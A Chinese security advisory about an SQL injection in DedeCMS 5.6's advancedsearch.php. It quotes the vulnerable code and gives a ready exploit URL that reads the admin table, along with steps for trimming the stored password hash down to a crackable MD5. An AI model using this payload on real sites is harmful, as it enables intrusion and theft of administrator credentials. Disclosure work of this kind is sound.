追求卓越 至真至诚    Anytime Anywhere Anything

dedecms 5.6爆新SQL注入漏洞
 

影响版本:
DEDECMS V 5.6

程序介绍:

DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。

漏洞分析:

plus/advancedsearch.php当中$sql变量未初始化,导致SQL注入漏洞

  1. if($mid == 0) //必须绕过
  2. {
  3. showmsg('参数不正确,高级自定义搜索必须指定模型id', 'javascript');
  4. exit();
  5. }
  6. $query = "select maintable, mainfields, addontable, addonfields, template from dede_advancedsearch where mid='$mid'";
  7. $searchinfo = $dsql->GetOne($query);
  8. if(!is_array($searchinfo))
  9. {
  10. showmsg('自定义搜索模型不存在','-1');
  11. exit();
  12. }
  13. $template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
  14. if(emptyempty($sql)) //成功绕过
  15. {
  16. ..............
  17. }
  18. else
  19. {
  20. $sql = urldecode($sql);
  21. $query = $sql;
  22. }
  23. $sql = urlencode($sql);
  24. $dlist = new DataListCP();
  25. $dlist->pageSize = 20;
  26. $dlist->SetParameter("sql", $sql);
  27. $dlist->SetParameter("mid", $mid);
  28. ................
  29. $dlist->SetTemplate($templatefile);
  30. $dlist->SetSource($query);
  31. .............
  32. $dlist->Display();

漏洞利用:

plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5

解决方案:
厂商补丁:
DEDECMS
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dedecms.com/





 


展开